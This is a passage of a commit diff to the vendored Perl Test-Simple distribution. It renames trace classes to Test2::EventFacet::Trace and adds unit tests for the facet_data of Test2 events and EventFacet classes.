     qr/No number of tests specified/,
@@ -96,7 +85,7 @@
 like(
     exception {
         $plan = Test2::Event::Plan->new(
-            trace  => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+            trace  => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
             max => 'skip',
         );
     },
@@ -104,4 +93,64 @@
     "Max must be an integer"
 );
 
+$plan = Test2::Event::Plan->new(
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    max => 100,
+);
+
+my $facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, undef, "no termination defined");
+is_deeply(
+    $facet_data->{plan},
+    {count => 100},
+    "Set the count"
+);
+
+$plan = Test2::Event::Plan->new(
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    max => 0,
+    directive => 'NO PLAN',
+);
+
+$facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, undef, "no termination defined");
+is_deeply(
+    $facet_data->{plan},
+    {count => 0, none => 1},
+    "No plan"
+);
+
+$plan = Test2::Event::Plan->new(
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    max => 0,
+    directive => 'SKIP',
+);
+
+$facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, 0, "terminate with 0");
+is_deeply(
+    $facet_data->{plan},
+    {count => 0, skip => 1},
+    "Skip, no reason"
+);
+
+$plan = Test2::Event::Plan->new(
+    trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    max => 0,
+    directive => 'SKIP',
+    reason => 'because',
+);
+
+$facet_data = $plan->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+is($facet_data->{control}->{terminate}, 0, "terminate with 0");
+is_deeply(
+    $facet_data->{plan},
+    {count => 0, skip => 1, details => 'because'},
+    "Skip, no reason"
+);
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Skip.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Skip.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Skip.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,14 +3,28 @@
 use warnings;
 
 use Test2::Event::Skip;
-use Test2::Util::Trace;
+use Test2::EventFacet::Trace;
 
 my $skip = Test2::Event::Skip->new(
-    trace  => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
+    trace  => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]),
     name   => 'skip me',
     reason => 'foo',
 );
 
+my $facet_data = $skip->facet_data;
+ok($facet_data->{about}, "Got basic data");
+is_deeply(
+    $facet_data->{amnesty},
+    [
+        {
+            tag       => 'skip',
+            details   => 'foo',
+            inherited => 0,
+        }
+    ],
+    "Added some amnesty for the skip",
+);
+
 is($skip->name, 'skip me', "set name");
 is($skip->reason, 'foo', "got skip reason");
 ok(!$skip->pass, "no default for pass");

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use Test2::Event::Subtest;
 my $st = 'Test2::Event::Subtest';
 
-my $trace = Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']);
+my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']);
 my $one = $st->new(
     trace     => $trace,
     pass      => 1,
@@ -27,4 +27,31 @@
 $one->set_name('');
 is($one->summary, "Nameless Subtest", "unnamed summary");
 
+require Test2::Event::Pass;
+push @{$one->subevents} => Test2::Event::Pass->new(name => 'xxx');
+
+my $facet_data = $one->facet_data;
+ok($facet_data->{about}, "got parent facet data");
+
+is_deeply(
+    $facet_data->{parent},
+    {
+        hid      => "1-1-1",
+        buffered => 1,
+        children => [
+            {
+                about => {
+                    details => 'pass',
+                    package => 'Test2::Event::Pass'
+                },
+                assert => {
+                    details => 'xxx',
+                    pass    => 1
+                },
+            }
+        ],
+    },
+    "Got facet data"
+);
+
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,28 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::Event::TAP::Version';
+my $CLASS = 'Test2::Event::TAP::Version';
+
+like(
+    exception { $CLASS->new() },
+    qr/'version' is a required attribute/,
+    "Must specify the version"
+);
+
+my $one = $CLASS->new(version => 13);
+is($one->version, 13, "Got version");
+is($one->summary, "TAP version 13", "Got summary");
+
+is_deeply(
+    $one->facet_data,
+    {
+        about => { package => $CLASS, details => "TAP version 13"},
+        info => [{tag => 'INFO', debug => 0, details => "TAP version 13"}],
+    },
+    "Got facet data"
+);
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/V2.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/V2.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/V2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,101 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::API qw/context intercept/;
+
+use Test2::Event::V2();
+
+my $CLASS = 'Test2::Event::V2';
+
+ok($CLASS->isa('Test2::Event'), "Subclass of Test2::Event");
+
+is_deeply(
+    [Test2::Event::V2->non_facet_keys],
+    ['uuid', '_meta'],
+    "Got non-facet keys"
+);
+
+ok($CLASS->can($_), "has method $_") for qw{
+    causes_fail diagnostics global increments_count no_display sets_plan
+    subtest_id summary terminate
+    uuid set_uuid
+    meta
+    facet_data
+    about
+};
+
+ok(!exception { $CLASS->new(uuid => 2, about => {uuid => 2}) }, "Can have matching uuids");
+
+like(
+    exception { $CLASS->new(uuid => 1, about => {uuid => 2}) },
+    qr/uuid '1' passed to constructor, but uuid '2' is already set in the 'about' facet/,
+    "Cannot have a uuid mismatch"
+);
+
+my $one = $CLASS->new(uuid => 123);
+is($one->about->{uuid}, 123, "Set uuid in about facet");
+
+$one = $CLASS->new(about => { uuid => 123 });
+is($one->uuid, 123, "set uuid attribute");
+
+my $trace = {frame => ['main', 'file.t', 42, 'foo'], tid => 0, pid => $$};
+$one = $CLASS->new(trace => $trace);
+ok($trace != $one->trace, "Did not keep or modify the original trace ref");
+ok($one->trace->isa('Test2::EventFacet::Trace'), "Blessed the trace");
+is_deeply($one->trace, $trace, "Trace has all data");
+
+$one = $CLASS->new;
+ok(!$one->uuid, "no uuid attribute");
+ok(!$one->about->{uuid}, "no uuid in about facet");
+$one->set_uuid(123);
+is($one->about->{uuid}, 123, "Set uuid in about facet");
+is($one->uuid, 123, "set uuid attribute");
+
+
+$one = $CLASS->new(
+    uuid => '123',
+    trace => $trace,
+    assert => {pass => 1, details => 'pass'},
+    info => [{tag => 'NOTE', details => 'a note'}],
+);
+
+$one->set_meta('foo' => {'xyz' => 1});
+
+$one->{_custom_sttr} = 'xxx';
+
+is_deeply(
+    $one->facet_data,
+    {
+        trace  => $trace,
+        assert => {pass => 1, details => 'pass'},
+        info   => [{tag => 'NOTE', details => 'a note'}],
+        meta  => {foo  => {'xyz' => 1}},
+        about => {uuid => 123},
+    },
+    "Facet data has everything we want, and nothing we do not"
+);
+
+sub my_tool {
+    my $ctx = context();
+
+    my $event = $ctx->send_ev2(info => [{tag => 'NOTE', details => "This is a note"}]);
+
+    $ctx->release;
+
+    return $event;
+}
+
+my $events = intercept {
+    my_tool();
+};
+
+is(@$events, 1, "Got 1 event");
+ok($events->[0]->isa($CLASS), "Created the right type of event");
+is_deeply(
+    $events->[0]->facet_data->{info},
+    [{tag => 'NOTE', details => "This is a note"}],
+    "Got the specified info facet"
+);
+
+done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use Test2::Event::Waiting;
 
 my $waiting = Test2::Event::Waiting->new(
-    trace => 'fake',
+    trace => {},
 );
 
 ok($waiting, "Created event");
@@ -13,4 +13,19 @@
 
 is($waiting->summary, "IPC is waiting for children to finish...", "Got summary");
 
+my $facet_data = $waiting->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+
+is_deeply(
+    $facet_data->{info},
+    [
+        {
+            tag     => 'INFO',
+            debug   => 0,
+            details => "IPC is waiting for children to finish...",
+        },
+    ],
+    "Got added info facet"
+);
+
 done_testing;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/Event.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,38 +3,712 @@
 use Test2::Tools::Tiny;
 
 use Test2::Event();
+use Test2::EventFacet::Trace();
+use Test2::Event::Generic;
 
-{
-    package My::MockEvent;
+use Test2::API qw/context/;
+use Scalar::Util qw/reftype/;
 
-    use base 'Test2::Event';
-    use Test2::Util::HashBase qw/foo bar baz/;
-}
+tests old_api => sub {
+    {
+        package My::MockEvent;
 
-ok(My::MockEvent->can($_), "Added $_ accessor") for qw/foo bar baz/;
+        use base 'Test2::Event';
+        use Test2::Util::HashBase qw/foo bar baz/;
+    }
 
-my $one = My::MockEvent->new(trace => 'fake');
+    ok(My::MockEvent->can($_), "Added $_ accessor") for qw/foo bar baz/;
 
-ok(!$one->causes_fail, "Events do not cause failures by default");
+    my $one = My::MockEvent->new(trace => 'fake');
 
-ok(!$one->$_, "$_ is false by default") for qw/increments_count terminate global/;
+    ok(!$one->causes_fail, "Events do not cause failures by default");
 
-ok(!$one->get_meta('xxx'), "no meta-data associated for key 'xxx'");
+    ok(!$one->$_, "$_ is false by default") for qw/increments_count terminate global/;
 
-$one->set_meta('xxx', '123');
+    ok(!$one->get_meta('xxx'), "no meta-data associated for key 'xxx'");
 
-is($one->meta('xxx'), '123', "got meta-data");
+    $one->set_meta('xxx', '123');
 
-is($one->meta('xxx', '321'), '123', "did not use default");
+    is($one->meta('xxx'), '123', "got meta-data");
 
-is($one->meta('yyy', '1221'), '1221', "got the default");
+    is($one->meta('xxx', '321'), '123', "did not use default");
 
-is($one->meta('yyy'), '1221', "last call set the value to the default for future use");
+    is($one->meta('yyy', '1221'), '1221', "got the default");
 
-is($one->summary, 'My::MockEvent', "Default summary is event package");
+    is($one->meta('yyy'), '1221', "last call set the value to the default for future use");
 
-is($one->diagnostics, 0, "Not diagnostics by default");
+    is($one->summary, 'My::MockEvent', "Default summary is event package");
 
-ok(!$one->in_subtest, "no subtest_id by default");
+    is($one->diagnostics, 0, "Not diagnostics by default");
+};
 
+tests deprecated => sub {
+    my $e = Test2::Event->new(trace => Test2::EventFacet::Trace->new(frame => ['foo', 'foo.pl', 42], nested => 2, hid => 'maybe'));
+
+    my $warnings = warnings {
+        local $ENV{AUTHOR_TESTING} = 1;
+        is($e->nested, 2, "Got nested from the trace");
+        is($e->in_subtest, 'maybe', "got hid from trace");
+
+        $e->trace->{nested} = 0;
+
+        local $ENV{AUTHOR_TESTING} = 0;
+        is($e->nested, 0, "Not nested");
+        is($e->in_subtest, undef, "Did not get hid");
+    };
+
+    is(@$warnings, 2, "got warnings once each");
+    like($warnings->[0], qr/Use of Test2::Event->nested\(\) is deprecated/, "Warned about deprecation");
+    like($warnings->[1], qr/Use of Test2::Event->in_subtest\(\) is deprecated/, "Warned about deprecation");
+};
+
+tests facet_data => sub {
+    my $e = Test2::Event::Generic->new(
+        causes_fail      => 0,
+        increments_count => 0,
+        diagnostics      => 0,
+        no_display       => 0,
+        callback         => undef,
+        terminate        => undef,
+        global           => undef,
+        sets_plan        => undef,
+        summary          => undef,
+        facet_data       => undef,
+    );
+
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0
+            },
+        },
+        "Facet data has control with onyl false values, and an about"
+    );
+
+    $e->set_trace(Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]));
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid => $$,
+                tid => 0,
+            },
+        },
+        "Got a trace now"
+    );
+
+    $e->set_causes_fail(1);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            errors => [
+                {
+                    tag     => 'FAIL',
+                    details => 'Test2::Event::Generic',
+                    fail    => 1,
+                }
+            ],
+        },
+        "Got an error"
+    );
+
+    $e->set_increments_count(1);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass => 0,
+                details => 'Test2::Event::Generic',
+            },
+        },
+        "Got an assert now"
+    );
+
+    $e->set_causes_fail(0);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass => 1,
+                details => 'Test2::Event::Generic',
+            },
+        },
+        "Got a passing assert now"
+    );
+
+    $e->set_global(1);
+    $e->set_terminate(255);
+    $e->set_callback(sub {1});
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => 255,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass => 1,
+                details => 'Test2::Event::Generic',
+            },
+        },
+        "control fields were altered"
+    );
+
+    my $data;
+    {
+        no warnings 'once';
+        local *Test2::Event::Generic::subtest_id = sub { 123 };
+        $data = $e->facet_data;
+    }
+    is_deeply(
+        $data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => 255,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass     => 1,
+                details  => 'Test2::Event::Generic',
+            },
+            parent => {hid => 123},
+        },
+        "Added parent"
+    );
+
+    $e->set_meta('foo', {a => 1});
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => 255,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass     => 1,
+                details  => 'Test2::Event::Generic',
+            },
+            meta => {foo => {a => 1}},
+        },
+        "Grabbed meta"
+    );
+
+
+    $e->set_sets_plan([5]);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => 255,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass     => 1,
+                details  => 'Test2::Event::Generic',
+            },
+            meta => {foo => {a => 1}},
+            plan => { count => 5 },
+        },
+        "Plan facet added"
+    );
+
+    $e->set_terminate(undef);
+    $e->set_sets_plan([0, SKIP => 'because']);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => 0,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass     => 1,
+                details  => 'Test2::Event::Generic',
+            },
+            meta => {foo => {a => 1}},
+            plan => { count => 0, skip => 1, details => 'because' },
+        },
+        "Plan set terminate, skip, and details"
+    );
+
+    $e->set_sets_plan([0, 'NO PLAN' => 'because']);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => undef,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass     => 1,
+                details  => 'Test2::Event::Generic',
+            },
+            meta => {foo => {a => 1}},
+            plan => { count => 0, none => 1, details => 'because' },
+        },
+        "Plan does not set terminate, but sets 'none' and 'details'"
+    );
+
+    $e->add_amnesty({tag => 'foo', details => 'bar'});
+    $e->add_amnesty({tag => 'baz', details => 'bat'});
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef
+            },
+            control => {
+                has_callback => 1,
+                terminate    => undef,
+                global       => 1,
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            assert => {
+                no_debug => 1,
+                pass     => 1,
+                details  => 'Test2::Event::Generic',
+            },
+            meta => {foo => {a => 1}},
+            plan => { count => 0, none => 1, details => 'because' },
+            amnesty => [
+                { tag => 'foo', details => 'bar' },
+                { tag => 'baz', details => 'bat' },
+            ],
+        },
+        "Amnesty added"
+    );
+
+    $e = Test2::Event::Generic->new();
+    $e->set_diagnostics(1);
+    $e->set_no_display(1);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => 1,
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0,
+            },
+        },
+        "No Info"
+    );
+
+    $e->set_no_display(0);
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'Test2::Event::Generic',
+                no_display => undef,
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0,
+            },
+            info => [{
+                details => 'Test2::Event::Generic',
+                tag => 'DIAG',
+                debug => 1,
+            }],
+        },
+        "Got debug Info"
+    );
+
+    $e->set_summary("foo bar baz");
+    is_deeply(
+        $e->facet_data,
+        {
+            about => {
+                package    => 'Test2::Event::Generic',
+                details    => 'foo bar baz',
+                no_display => undef,
+            },
+            control => {
+                has_callback => 0,
+                terminate    => undef,
+                global       => 0,
+            },
+            info => [{
+                details => 'foo bar baz',
+                tag => 'DIAG',
+                debug => 1,
+            }],
+        },
+        "Got debug Info with summary change"
+    );
+};
+
+tests facets => sub {
+    my $data = {
+        about => {
+            package    => 'Test2::Event::Generic',
+            details    => 'Test2::Event::Generic',
+            no_display => undef
+        },
+        control => {
+            has_callback => 1,
+            terminate    => undef,
+            global       => 1,
+        },
+        trace => {
+            frame => ['foo', 'foo.t', 42],
+            pid   => $$,
+            tid   => 0,
+        },
+        assert => {
+            no_debug => 1,
+            pass     => 1,
+            details  => 'Test2::Event::Generic',
+        },
+        meta => {foo => {a => 1}},
+        plan    => {count => 0,   none     => 1, details => 'because'},
+        parent  => {hid   => 123, children => []},
+        amnesty => [
+            {tag => 'foo', details => 'bar'},
+            {tag => 'baz', details => 'bat'},
+        ],
+        info => [
+            {
+                details => 'foo bar baz',
+                tag     => 'DIAG',
+                debug   => 1,
+            }
+        ],
+        errors => [{
+            tag     => 'FAIL',
+            details => 'Test2::Event::Generic',
+            fail    => 1,
+        }],
+    };
+
+    my $e = Test2::Event::Generic->new(facet_data => $data);
+    is_deeply(
+        $e->facet_data,
+        $e->facets,
+        "Facets and facet_data have the same structure"
+    );
+
+    my $facets = $e->facets;
+
+    for my $key (sort keys %$facets) {
+        my $type = "Test2::EventFacet::" . ucfirst($key);
+        $type =~ s/s$//;
+        my $val  = $facets->{$key};
+        if ($type->is_list) {
+            for my $f (@$val) {
+                ok($f->isa('Test2::EventFacet'), "'$key' has a blessed facet");
+                ok($f->isa("$type"), "'$key' is a '$type'") or diag("$f");
+            }
+        }
+        else {
+            ok($val->isa('Test2::EventFacet'), "'$key' has a blessed facet");
+            ok($val->isa($type), "'$key' is a '$type'");
+        }
+    }
+};
+
+tests common_facet_data => sub {
+    my $e = Test2::Event::Generic->new(
+        causes_fail      => 0,
+        increments_count => 0,
+        diagnostics      => 0,
+        no_display       => 0,
+        callback         => undef,
+        terminate        => undef,
+        global           => undef,
+        sets_plan        => undef,
+        summary          => undef,
+        facet_data       => undef,
+    );
+
+    is_deeply(
+        $e->common_facet_data,
+        {
+            about => {
+                package => 'Test2::Event::Generic',
+            },
+        },
+        "Facet data has an about"
+    );
+
+    $e->set_trace(Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]));
+    is_deeply(
+        $e->common_facet_data,
+        {
+            about => {
+                package => 'Test2::Event::Generic',
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+        },
+        "Got a trace now"
+    );
+
+    $e->set_meta('foo', {a => 1});
+    is_deeply(
+        $e->common_facet_data,
+        {
+            about => {
+                package => 'Test2::Event::Generic',
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            meta => {foo => {a => 1}},
+        },
+        "Grabbed meta"
+    );
+
+    $e->add_amnesty({tag => 'foo', details => 'bar'});
+    $e->add_amnesty({tag => 'baz', details => 'bat'});
+    is_deeply(
+        $e->common_facet_data,
+        {
+            about => {
+                package => 'Test2::Event::Generic',
+            },
+            trace => {
+                frame => ['foo', 'foo.t', 42],
+                pid   => $$,
+                tid   => 0,
+            },
+            meta    => {foo => {a => 1}},
+            amnesty => [
+                {tag => 'foo', details => 'bar'},
+                {tag => 'baz', details => 'bat'},
+            ],
+        },
+        "Amnesty added"
+    );
+};
+
+tests related => sub {
+    my $ctx = context();
+    my $ev_a = $ctx->build_ev2(about => {});
+    my $ev_b = $ctx->build_ev2(about => {});
+    $ctx->release;
+
+    $ctx = context();
+    my $ev_c = $ctx->build_ev2(about => {});
+    $ctx->release;
+
+    delete $ev_a->{trace}->{uuid};
+    delete $ev_b->{trace}->{uuid};
+    delete $ev_c->{trace}->{uuid};
+
+    ok($ev_a->related($ev_b), "Related as they were created with the same context (no uuid)");
+    ok(!$ev_a->related($ev_c), "Not related as they were created with a different context (no uuid)");
+
+    $ev_a->{trace}->{uuid} = 'xxx'; # Yes I know it is not valid.
+    $ev_b->{trace}->{uuid} = 'yyy'; # Yes I know it is not valid.
+    $ev_c->{trace}->{uuid} = 'xxx'; # Yes I know it is not valid.
+
+    ok(!$ev_a->related($ev_b), "Not related, traces have different UUID's");
+    ok($ev_a->related($ev_c), "Related, traces have the same UUID's");
+};
+
+tests verify_facet_data => sub {
+    my $ev1 = Test2::Event::V2->new(
+        assert => { pass => 1 },
+        info => [{tag => 'NOTE', details => 'oops' }],
+        'a custom one' => {},
+    );
+
+    is_deeply(
+        [$ev1->validate_facet_data],
+        [],
+        "No errors"
+    );
+
+    my $ev2 = Test2::Event::V2->new(
+        assert => [{ pass => 1 }],
+        info => {tag => 'NOTE', details => 'oops' },
+        'a custom one' => {},
+    );
+
+    my @errors = $ev2->validate_facet_data;
+    is(@errors, 2, "Got 2 errors");
+    like($errors[0], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+    like($errors[1], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+
+    @errors = $ev2->validate_facet_data(require_facet_class => 1);
+    is(@errors, 3, "Got 3 errors");
+    is($errors[0], "Could not find a facet class for facet 'a custom one'", "Classes required");
+    like($errors[1], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+    like($errors[2], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+
+    is_deeply(
+        [Test2::Event->validate_facet_data($ev1->facet_data)],
+        [],
+        "No errors"
+    );
+
+    @errors = Test2::Event->validate_facet_data($ev2->facet_data);
+    is(@errors, 2, "Got 2 errors");
+    like($errors[0], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+    like($errors[1], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+
+    @errors = Test2::Event->validate_facet_data($ev2->facet_data, require_facet_class => 1);
+    is(@errors, 3, "Got 3 errors");
+    is($errors[0], "Could not find a facet class for facet 'a custom one'", "Classes required");
+    like($errors[1], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type");
+    like($errors[2], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed");
+};
+
 done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::About';
+my $CLASS = 'Test2::EventFacet::About';
+
+my $one = $CLASS->new(details => 'foo', package => 'bar', no_display => 0);
+
+is($one->details, "foo", "Got details");
+is($one->package, "bar", "Got package");
+is($one->no_display, 0, "Got no_display value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "Not a list");
+is($CLASS->facet_key, 'about', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Amnesty';
+my $CLASS = 'Test2::EventFacet::Amnesty';
+
+my $one = $CLASS->new(details => 'foo', tag => 'bar', inherited => 0);
+
+is($one->details, "foo", "Got details");
+is($one->tag, "bar", "Got tag");
+is($one->inherited, 0, "Got 'inherited' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok($CLASS->is_list, "is a list");
+is($CLASS->facet_key, 'amnesty', "Got key");
+
+done_testing;

Added: vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Assert';
+my $CLASS = 'Test2::EventFacet::Assert';
+
+my $one = $CLASS->new(details => 'foo', pass => 1, no_debug => 1);
+
+is($one->details, "foo", "Got details");
+is($one->pass, 1, "Got 'pass' value");
+is($one->no_debug, 1, "Got 'no_debug' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
